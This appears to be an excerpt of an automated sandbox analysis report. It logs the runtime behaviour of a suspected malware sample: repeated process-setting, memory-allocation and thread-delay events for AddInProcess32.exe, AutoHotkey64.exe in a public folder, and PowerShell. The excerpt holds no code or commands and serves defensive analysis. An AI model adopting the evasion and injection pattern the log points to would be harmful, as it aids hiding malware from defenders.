                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\Public\Documents\AutoHotkey64.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: CB0000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: 28F0000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: 2710000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: 1790000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: 33D0000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: 31D0000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: 1210000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: 2C90000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: 4C90000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: 2250000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: 2310000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: 4310000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: 2570000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: 2760000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: 4760000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: 2540000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: 2730000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: 2540000 memory reserve | memory write watchJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: B50000 memory reserve | memory write watch
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: 2700000 memory reserve | memory write watch
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeMemory allocated: 2500000 memory reserve | memory write watch
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeThread delayed: delay time: 922337203685477Jump to behavior
